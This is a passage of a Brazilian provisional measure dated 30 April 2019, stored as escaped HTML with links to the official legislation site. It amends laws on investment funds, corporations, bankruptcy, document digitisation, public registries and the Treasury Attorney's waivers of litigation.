Fiduci\u00e1ria<\/p>\n<p>\u2026\u2026&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.\u2026\u2026<\/p>\n<p><a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/LEIS\/2002\/L10406.htm#parteespeciallivroiiitituloiiicapitulox\">CAP\u00cdTULO X<\/a><\/p>\n<p>Do Fundo de Investimento<\/p>\n<p><a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/LEIS\/2002\/L10406.htm#art1368c\">Art. 1.368-C.<\/a>\u00a0 O fundo de investimento \u00e9 uma comunh\u00e3o de recursos, constitu\u00eddo sob a forma de condom\u00ednio, destinado \u00e0 aplica\u00e7\u00e3o em ativos financeiros.<\/p>\n<p>Par\u00e1grafo \u00fanico.\u00a0 Competir\u00e1 \u00e0 Comiss\u00e3o de Valores Mobili\u00e1rios disciplinar o disposto no\u00a0<strong>caput<\/strong>.\u201d (NR)<\/p>\n<p><a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/LEIS\/2002\/L10406.htm#art1368d\">\u201cArt. 1.368-D.<\/a>\u00a0 O regulamento do fundo de investimento poder\u00e1, observado o disposto no regulamento a que se refere o par\u00e1grafo \u00fanico do art. 1.368-C:<\/p>\n<p>I &#8211; estabelecer a limita\u00e7\u00e3o da responsabilidade de cada cond\u00f4mino ao valor de suas cotas; e<\/p>\n<p>II &#8211; autorizar a limita\u00e7\u00e3o da responsabilidade dos prestadores de servi\u00e7os fiduci\u00e1rios, perante o condom\u00ednio e entre si, ao cumprimento dos deveres particulares de cada um, sem solidariedade.\u201d (NR)<\/p>\n<p><a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/LEIS\/2002\/L10406.htm#art1368e\">\u201cArt. 1.368-E.<\/a>\u00a0 A ado\u00e7\u00e3o da responsabilidade limitada por fundo constitu\u00eddo sem a limita\u00e7\u00e3o de responsabilidade somente abranger\u00e1 fatos ocorridos ap\u00f3s a mudan\u00e7a.\u201d (NR)<\/p>\n<p>Art. 8\u00ba\u00a0 A Lei n\u00ba 6.404, de 15 de dezembro de 1976, passa a vigorar com as seguintes altera\u00e7\u00f5es:<\/p>\n<p>\u201cArt. 85.\u00a0 &#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.<\/p>\n<ul>\n<li><a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/LEIS\/L6404consol.htm#art85%C2%A71\"> 1\u00ba\u00a0<\/a>A subscri\u00e7\u00e3o poder\u00e1 ser feita, nas condi\u00e7\u00f5es previstas no prospecto, por carta \u00e0 institui\u00e7\u00e3o, acompanhada das declara\u00e7\u00f5es a que se refere este artigo e do pagamento da entrada.<\/li>\n<li>2\u00ba\u00a0 Ser\u00e1 dispensada a assinatura de lista ou de boletim a que se refere o<strong>caput<\/strong>na hip\u00f3tese de oferta p\u00fablica cuja liquida\u00e7\u00e3o ocorra por meio de sistema administrado por entidade administradora de mercados organizados de valores mobili\u00e1rios.\u201d (NR)<\/li>\n<\/ul>\n<p><a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/LEIS\/L6404consol.htm#art294a\">\u201cArt. 294-A.<\/a>\u00a0 A Comiss\u00e3o de Valores Mobili\u00e1rios, por meio de regulamento, poder\u00e1 dispensar exig\u00eancias previstas nesta Lei, para companhias que definir como de pequeno e m\u00e9dio porte, de forma a facilitar o acesso ao mercado de capitais.\u201d (NR)<\/p>\n<p>Art. 9\u00ba\u00a0 A Lei n\u00ba 11.101, de 9 de fevereiro de 2005, passa a vigorar com as seguintes altera\u00e7\u00f5es:<\/p>\n<p><a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/_Ato2004-2006\/2005\/Lei\/L11101.htm#art82a\">\u201cArt. 82-A.<\/a>\u00a0 A extens\u00e3o dos efeitos da fal\u00eancia somente ser\u00e1 admitida quando estiverem presentes os requisitos da desconsidera\u00e7\u00e3o da personalidade jur\u00eddica de que trata o art. 50 da Lei n\u00ba 10.406, de 10 de janeiro de 2002 &#8211; C\u00f3digo Civil.\u201d (NR)<\/p>\n<p>Art. 10.\u00a0 A\u00a0<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/_Ato2007-2010\/2007\/Lei\/L11598.htm\">Lei n\u00ba 11.598, de 2007<\/a>, passa a vigorar com as seguintes altera\u00e7\u00f5es:<\/p>\n<p>\u201cArt. 4\u00ba&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.<\/p>\n<p>&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;..<\/p>\n<ul>\n<li><a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/_Ato2007-2010\/2007\/Lei\/L11598.htm#art4%C2%A75\"> 5\u00ba\u00a0<\/a>Ato do Poder Executivo federal dispor\u00e1 sobre a classifica\u00e7\u00e3o de atividades de baixo risco, v\u00e1lida para todos os integrantes da Redesim, observada a Classifica\u00e7\u00e3o Nacional de Atividade Econ\u00f4mica, hip\u00f3tese que, a autodeclara\u00e7\u00e3o de enquadramento ser\u00e1 requerimento suficiente, at\u00e9 que seja apresentada prova em contr\u00e1rio.\u201d (NR)<\/li>\n<\/ul>\n<p>Art. 11.\u00a0 A\u00a0<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/_Ato2011-2014\/2012\/Lei\/L12682.htm\">Lei n\u00ba 12.682, de 9 de julho de 2012<\/a>, passa a vigorar com as seguintes altera\u00e7\u00f5es:<\/p>\n<p>\u201c<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/_Ato2011-2014\/2012\/Lei\/L12682.htm#art2a\">Art. 2\u00ba-A.\u00a0\u00a0<\/a>Fica autorizado o armazenamento, em meio eletr\u00f4nico, \u00f3ptico ou equivalente, de documentos privados, compostos por dados ou por imagens, observado o disposto nesta Lei, nas das demais legisla\u00e7\u00f5es espec\u00edficas e no regulamento.<\/p>\n<ul>\n<li>1\u00ba\u00a0 Ap\u00f3s a digitaliza\u00e7\u00e3o, constatada a integridade do documento digital nos termos estabelecidos no regulamento, o original poder\u00e1 ser destru\u00eddo, ressalvados os documentos de valor hist\u00f3rico, cuja preserva\u00e7\u00e3o observar\u00e1 o disposto na legisla\u00e7\u00e3o espec\u00edfica.<\/li>\n<li>2\u00ba\u00a0 O documento digital e a sua reprodu\u00e7\u00e3o, em qualquer meio, realizada de acordo com o disposto nesta Lei e na legisla\u00e7\u00e3o espec\u00edfica, ter\u00e3o o mesmo valor probat\u00f3rio do documento original, para todos os fins de direito, inclusive para atender ao poder fiscalizat\u00f3rio do Estado.<\/li>\n<li>3\u00ba\u00a0 Decorridos os respectivos prazos de decad\u00eancia ou de prescri\u00e7\u00e3o, os documentos armazenados em meio eletr\u00f4nico, \u00f3ptico ou equivalente poder\u00e3o ser eliminados.<\/li>\n<li>4\u00ba\u00a0 Os documentos digitalizados nos termos do disposto neste artigo ter\u00e3o o mesmo efeito jur\u00eddico conferido aos documentos microfilmados, nos termos do disposto na<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/LEIS\/L5433.htm\">Lei n\u00ba 5.433, de 8 de maio de 1968<\/a>, e regulamenta\u00e7\u00e3o posterior.<\/li>\n<li>5\u00ba\u00a0 Ato do Secret\u00e1rio de Governo Digital da Secretaria Especial de Desburocratiza\u00e7\u00e3o, Gest\u00e3o e Governo Digital do Minist\u00e9rio da Economia estabelecer\u00e1 os documentos cuja reprodu\u00e7\u00e3o conter\u00e1 c\u00f3digo de autentica\u00e7\u00e3o verific\u00e1vel.\u201d (NR)<\/li>\n<\/ul>\n<p>Art. 12.\u00a0 O\u00a0<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/Decreto-Lei\/Del9760.htm\">Decreto-Lei n\u00ba 9.760, de 5 de setembro de 1946<\/a>, passa a vigorar com as seguintes altera\u00e7\u00f5es:<\/p>\n<p>\u201c<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/Decreto-Lei\/Del9760.htm#art14.0\">Art. 14.\u00a0\u00a0<\/a>Da decis\u00e3o proferida pelo Secret\u00e1rio de Coordena\u00e7\u00e3o e Governan\u00e7a do Patrim\u00f4nio da Uni\u00e3o da Secretaria Especial de Desestatiza\u00e7\u00e3o e Desinvestimento do Minist\u00e9rio da Economia ser\u00e1 dado conhecimento aos recorrentes que, no prazo de vinte dias, contado da data de sua ci\u00eancia, poder\u00e3o interpor recurso, n\u00e3o dotado de efeito suspensivo, dirigido ao superior hier\u00e1rquico, em \u00faltima inst\u00e2ncia.\u201d (NR)<\/p>\n<p>\u201cArt. 100. \u00a0\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;<\/p>\n<p>\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.<\/p>\n<ul>\n<li><a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/Decreto-Lei\/Del9760.htm#art100%C2%A75.0\"> 5\u00ba\u00a0<\/a>Considerada improcedente a impugna\u00e7\u00e3o, a autoridade submeter\u00e1 o recurso \u00e0 autoridade superior, nos termos estabelecidos em regulamento.<\/li>\n<\/ul>\n<p>\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;..\u201d(NR)<\/p>\n<p>\u201c<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/Decreto-Lei\/Del9760.htm#art216.0\">Art. 216.\u00a0\u00a0<\/a>O Ministro de Estado da Economia, diretamente ou por ato do Secret\u00e1rio Especial de Desestatiza\u00e7\u00e3o e Desinvestimento do Minist\u00e9rio da Economia, ouvido previamente o Secret\u00e1rio de Coordena\u00e7\u00e3o e Governan\u00e7a do Patrim\u00f4nio da Uni\u00e3o, editar\u00e1 os atos necess\u00e1rios \u00e0 execu\u00e7\u00e3o do disposto neste Decreto-Lei.\u201d (NR)<\/p>\n<p>Art. 13.\u00a0 A\u00a0<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/LEIS\/L6015consolidado.htm\">Lei n\u00ba 6.015, de 31 de dezembro de 1973<\/a>, passa a vigorar com as seguintes altera\u00e7\u00f5es:<\/p>\n<p>\u201cArt. 1\u00ba\u00a0 &#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;..<\/p>\n<p>&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;..<\/p>\n<ul>\n<li><a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/LEIS\/L6015consolidado.htm#art1%C2%A73\"> 3\u00ba\u00a0<\/a>Os registros poder\u00e3o ser escriturados, publicitados e conservados em meio eletr\u00f4nico, obedecidos os padr\u00f5es tecnol\u00f3gicos estabelecidos em regulamento.\u201d (NR)<\/li>\n<\/ul>\n<p>Art. 14.\u00a0 A\u00a0<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/LEIS\/2002\/L10522.htm\">Lei n\u00ba 10.522, de 19 de julho de 2002<\/a>, passam a vigorar com as seguintes altera\u00e7\u00f5es:<\/p>\n<p>\u201c<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/LEIS\/2002\/L10522.htm#art18a\">Art. 18-A.\u00a0\u00a0<\/a>Comit\u00ea formado por integrantes do Conselho Administrativo de Recursos Fiscais, da Secretaria Especial da Receita Federal do Brasil do Minist\u00e9rio da Economia e da Procuradoria-Geral da Fazenda Nacional editar\u00e1 enunciados de s\u00famula da administra\u00e7\u00e3o tribut\u00e1ria federal, observado o disposto em ato do Ministro de Estado da Economia, que dever\u00e3o ser observados nos atos administrativos, normativos e decis\u00f3rios praticados pelos referidos \u00f3rg\u00e3os.\u201d (NR)<\/p>\n<p>\u201c<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/LEIS\/2002\/L10522.htm#art19.0\">Art. 19.\u00a0\u00a0<\/a>Fica a Procuradoria-Geral da Fazenda Nacional dispensada de contestar, de oferecer contrarraz\u00f5es e de interpor recursos, e fica autorizada a desistir de recursos j\u00e1 interpostos, desde que inexista outro fundamento relevante, na hip\u00f3tese em que a a\u00e7\u00e3o ou a decis\u00e3o judicial ou administrativa versar sobre:<\/p>\n<p>&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;<\/p>\n<p><a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/LEIS\/2002\/L10522.htm#art19ii.0\">II &#8211;\u00a0<\/a>temas que sejam objeto de parecer, vigente e aprovado, pelo Procurador-Geral da Fazenda Nacional, que conclua no mesmo sentido do pleito do particular;<\/p>\n<p>&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;<\/p>\n<p><a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/LEIS\/2002\/L10522.htm#art19iv.0\">IV &#8211;\u00a0<\/a>temas sobre os quais exista s\u00famula ou parecer do Advogado-Geral da Uni\u00e3o que conclua no mesmo sentido do pleito do particular;<\/p>\n<p>V &#8211; temas fundados em dispositivo legal que tenha sido declarado inconstitucional pelo Supremo Tribunal Federal em sede de controle difuso e tenha tido sua execu\u00e7\u00e3o suspensa por Resolu\u00e7\u00e3o do Senado Federal ou tema sobre o qual exista enunciado de s\u00famula vinculante ou que tenha sido definido pelo Supremo Tribunal Federal em sentido desfavor\u00e1vel \u00e0 Fazenda Nacional em sede de controle concentrado de constitucionalidade;<\/p>\n<p>VI &#8211; temas decididos pelo Supremo Tribunal Federal, em mat\u00e9ria constitucional, ou pelo Superior Tribunal de Justi\u00e7a, pelo Tribunal Superior do Trabalho, pelo Tribunal Superior Eleitoral ou pela Turma Nacional de Uniformiza\u00e7\u00e3o de Jurisprud\u00eancia, no \u00e2mbito de suas compet\u00eancias, quando n\u00e3o houver viabilidade de revers\u00e3o da tese firmada em sentido desfavor\u00e1vel \u00e0 Fazenda Nacional, conforme crit\u00e9rios definidos em ato do Procurador-Geral da Fazenda Nacional; e<\/p>\n<p>VII &#8211; temas que sejam objeto de s\u00famula da administra\u00e7\u00e3o tribut\u00e1ria federal de que trata o art. 18-A.<\/p>\n<p>&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.<\/p>\n<ul>\n<li><a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/LEIS\/2002\/L10522.htm#art19%C2%A73\"> 3\u00ba\u00a0<\/a>O parecer da Procuradoria-Geral da Fazenda Nacional que examina a juridicidade de proposi\u00e7\u00f5es normativas n\u00e3o se enquadra no disposto no inciso II do<strong>caput<\/strong>.<\/li>\n<li>4\u00ba\u00a0 A dispensa de que tratam os incisos V e VI do<strong>caput<\/strong>poder\u00e1 ser estendido a tema n\u00e3o abrangido pelo julgado, quando a ele forem aplic\u00e1veis os fundamentos determinantes extra\u00eddos do julgamento paradigma ou da jurisprud\u00eancia consolidada, desde que inexista outro fundamento relevante que justifique a impugna\u00e7\u00e3o em ju\u00edzo.<\/li>\n<li>5\u00ba\u00a0 O disposto neste artigo estende-se, no que couber, aos demais meios de impugna\u00e7\u00e3o \u00e0s decis\u00f5es judiciais.<\/li>\n<\/ul>\n<p>&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;..<\/p>\n<ul>\n<li>7\u00ba\u00a0 O disposto neste artigo aplica-se a todas as causas em que as unidades da Procuradoria-Geral da Fazenda Nacional devam atuar na qualidade de representante judicial ou de autoridade coatora.<\/li>\n<li>8\u00ba\u00a0 Os \u00f3rg\u00e3os do Poder Judici\u00e1rio e as unidades da Procuradoria-Geral da Fazenda Nacional poder\u00e3o, de comum acordo, realizar mutir\u00f5es para an\u00e1lise do enquadramento de processos ou de recursos nas hip\u00f3teses previstas neste artigo, e realizar adequa\u00e7\u00e3o procedimental com fundamento no disposto no<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/_Ato2015-2018\/2015\/Lei\/L13105.htm#art190\">art. 190 da Lei n\u00ba 13.105, de 16 de mar\u00e7o de 2015 &#8211; C\u00f3digo de Processo Civil.<\/a>\u201d (NR)<\/li>\n<\/ul>\n<p>\u201c<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/LEIS\/2002\/L10522.htm#art19a\">Art. 19-A.\u00a0\u00a0<\/a>Os Auditores-Fiscais da Secretaria Especial da Receita Federal do Brasil n\u00e3o constituir\u00e3o os cr\u00e9ditos tribut\u00e1rios relativos aos temas de que trata o art. 19, observado:<\/p>\n<p>I &#8211; o disposto no parecer a que se refere no inciso II do\u00a0<strong>caput\u00a0<\/strong>do art. 19, que ser\u00e1 aprovado na forma do disposto no\u00a0<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/LEIS\/LCP\/Lcp73.htm#art42\">art. 42 da Lei Complementar n\u00ba 73, de 10 de fevereiro de 1993<\/a>;<\/p>\n<p>II &#8211; o parecer a que se refere o inciso IV do art. 19, que ser\u00e1 aprovado na forma do disposto no\u00a0<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/LEIS\/LCP\/Lcp73.htm#art40\">art. 40 da Lei Complementar n\u00ba 73, de 1993<\/a>, ou, quando n\u00e3o aprovado por despacho do Presidente da Rep\u00fablica, houver concord\u00e2ncia com a sua aplica\u00e7\u00e3o pelo Ministro de Estado da Economia;<\/p>\n<p>III &#8211; nas hip\u00f3teses de que tratam os incisos VI do\u00a0<strong>caput\u00a0<\/strong>do art. 19 e o \u00a7 4\u00ba do art. 19, a Procuradoria-Geral da Fazenda Nacional se manifestar\u00e1 sobre os temas abrangidos pela dispensa.<\/p>\n<ul>\n<li>1\u00ba\u00a0 Nas hip\u00f3teses de que trata este artigo, os Auditores-Fiscais da Secretaria Especial da Receita Federal do Brasil do Minist\u00e9rio da Economia adotar\u00e3o, em suas decis\u00f5es, o entendimento a que estiverem vinculados, inclusive para fins de revis\u00e3o de of\u00edcio do lan\u00e7amento e de repeti\u00e7\u00e3o de ind\u00e9bito administrativa.<\/li>\n<li>2\u00ba\u00a0 O disposto neste artigo aplica-se, no que couber, aos respons\u00e1veis pela reten\u00e7\u00e3o de tributos e, ao emitirem laudos periciais para atestar a exist\u00eancia de condi\u00e7\u00f5es que gerem isen\u00e7\u00e3o de tributos, aos servi\u00e7os m\u00e9dicos oficiais\u201d (NR)<\/li>\n<\/ul>\n<p><a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/LEIS\/2002\/L10522.htm#art19b\">\u201cArt. 19-B.\u00a0<\/a>\u00a0Os demais \u00f3rg\u00e3os da administra\u00e7\u00e3o p\u00fablica que administrem cr\u00e9ditos tribut\u00e1rios e n\u00e3o tribut\u00e1rios pass\u00edveis de inscri\u00e7\u00e3o e de cobran\u00e7a pela Procuradoria-Geral da Fazenda Nacional encontram-se dispensados de constituir e de promover a cobran\u00e7a com fundamento nas hip\u00f3teses de dispensa de que trata o art. 19.<\/p>\n<p>Par\u00e1grafo \u00fanico.\u00a0 A aplica\u00e7\u00e3o do disposto no\u00a0<strong>caput<\/strong>\u00a0observar\u00e1, no que couber, as disposi\u00e7\u00f5es do art. 19-A.\u201d (NR)<\/p>\n<p><a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/LEIS\/2002\/L10522.htm#art19c\">\u201cArt. 19-C.<\/a>\u00a0 A Procuradoria-Geral da Fazenda Nacional poder\u00e1 dispensar a pr\u00e1tica de atos processuais, inclusive a desist\u00eancia de recursos interpostos, quando o benef\u00edcio patrimonial almejado com o ato n\u00e3o atender aos crit\u00e9rios de racionalidade, de economicidade e de efici\u00eancia.<\/p>\n<ul>\n<li>1\u00ba\u00a0 O disposto no<strong>caput<\/strong>inclui o estabelecimento de par\u00e2metros de valor para a dispensa da pr\u00e1tica de atos processuais.<\/li>\n<li>2\u00ba\u00a0 A aplica\u00e7\u00e3o do disposto neste artigo n\u00e3o implicar\u00e1 o reconhecimento da proced\u00eancia do pedido formulado pelo autor.<\/li>\n<li>3\u00ba\u00a0 O disposto neste artigo aplica-se, inclusive, na atua\u00e7\u00e3o da Procuradoria-Geral da Fazenda Nacional no \u00e2mbito do contencioso administrativo fiscal.\u201d (NR)<\/li>\n<\/ul>\n<p><a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/LEIS\/2002\/L10522.htm#art19d\">\u201cArt. 19-D.\u00a0<\/a>\u00a0\u00c0 Procuradoria-Geral da Uni\u00e3o e \u00e0 Procuradoria-Geral Federal aplica-se, no que couber, o disposto nos art. 19, art. 19-B e art. 19-C, sem preju\u00edzo do disposto na\u00a0<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/LEIS\/L9469.htm\">Lei n\u00ba 9.469, de 10 de julho de 1997<\/a>.<\/p>\n<ul>\n<li>1\u00ba\u00a0 Aos \u00f3rg\u00e3os da administra\u00e7\u00e3o p\u00fablica federal direta, representados pela Procuradoria-Geral da Uni\u00e3o, e \u00e0s autarquias e funda\u00e7\u00f5es p\u00fablicas, representadas pela Procuradoria-Geral Federal, aplica-se, no que couber, o disposto no art. 19-B.<\/li>\n<li>2\u00ba\u00a0 Ato do Advogado-Geral da Uni\u00e3o disciplinar\u00e1 o disposto neste artigo.\u201d (NR)<\/li>\n<\/ul>\n<p>\u201c<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/LEIS\/2002\/L10522.htm#art20.0\">Art. 20.\u00a0\u00a0<\/a>Ser\u00e3o arquivados, sem baixa na distribui\u00e7\u00e3o, por meio de requerimento do Procurador da Fazenda Nacional, os autos das execu\u00e7\u00f5es fiscais de d\u00e9bitos inscritos em D\u00edvida Ativa da Uni\u00e3o pela Procuradoria-Geral da Fazenda Nacional ou por ela cobrados, de valor consolidado igual ou inferior \u00e0quele estabelecido em ato do Procurador-Geral da Fazenda Nacional.<\/p>\n<p>&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;..\u201d (NR)<\/p>\n<p>Art. 15.\u00a0 Fica resguardada a vig\u00eancia e a efic\u00e1cia ou os efeitos dos atos declarat\u00f3rios do Procurador-Geral da Fazenda Nacional, aprovados pelo Ministro de Estado respectivo e editados at\u00e9 a data de publica\u00e7\u00e3o desta Medida Provis\u00f3ria, nos termos do disposto no\u00a0<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/LEIS\/2002\/L10522.htm#art19ii\">inciso II do\u00a0<strong>caput\u00a0<\/strong>do art. 19 da Lei n\u00ba 10.522, de 2002<\/a>.<\/p>\n<p>Art. 16.\u00a0 A efic\u00e1cia do disposto no\u00a0<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/_ato2019-2022\/2019\/Mpv\/mpv881.htm#art3ix\">inciso IX do\u00a0<strong>caput\u00a0<\/strong>do art. 3\u00ba<\/a>\u00a0fica suspensa pelo prazo de sessenta dias, contado da data de publica\u00e7\u00e3o desta Medida Provis\u00f3ria, e, encerrado esse prazo, ser\u00e1 pass\u00edvel de responsabiliza\u00e7\u00e3o administrativa o agente p\u00fablico competente para an\u00e1lise dos atos p\u00fablicos de libera\u00e7\u00e3o da atividade econ\u00f4mica que negar a solicita\u00e7\u00e3o do particular sem justificativa plaus\u00edvel e indeferi-la com o objetivo \u00fanico de atender aos prazos previstos em regulamenta\u00e7\u00e3o.<\/p>\n<p>Art. 17.\u00a0 A efic\u00e1cia do disposto no\u00a0<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/_ato2019-2022\/2019\/Mpv\/mpv881.htm#art3x\">inciso X do\u00a0<strong>caput\u00a0<\/strong>do art. 3\u00ba<\/a>\u00a0fica condicionada \u00e0 regulamenta\u00e7\u00e3o em ato do Poder Executivo federal.<\/p>\n<p>Art. 18.\u00a0 Ficam revogados:<\/p>\n<p>I &#8211; a\u00a0<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/LEIS\/LDL\/Ldl04.htm\">Lei Delegada n\u00ba 4, de 26 de setembro de 1962<\/a>;<\/p>\n<p>II &#8211; os seguintes dispositivos do\u00a0<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/Decreto-Lei\/Del0073.htm\">Decreto-Lei n\u00ba 73, de 21 de novembro de 1966<\/a>:<\/p>\n<ol>\n<li>a) o<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/Decreto-Lei\/Del0073.htm#art5iii\">inciso III do<strong>caput<\/strong>\u00a0do art. 5\u00ba<\/a>; e<\/li>\n<li>b) o<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/Decreto-Lei\/Del0073.htm#art32x\">inciso X do<strong>caput\u00a0<\/strong>do art. 32<\/a>; e<\/li>\n<\/ol>\n<p>III &#8211; a\u00a0<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/_Ato2007-2010\/2008\/Lei\/L11887.htm\">Lei n\u00ba 11.887, de 2008<\/a>.<\/p>\n<p>Art. 19.\u00a0 Esta Medida Provis\u00f3ria entra em vigor na data de sua publica\u00e7\u00e3o.<\/p>\n<p>Bras\u00edlia, 30 de abril de 2019; 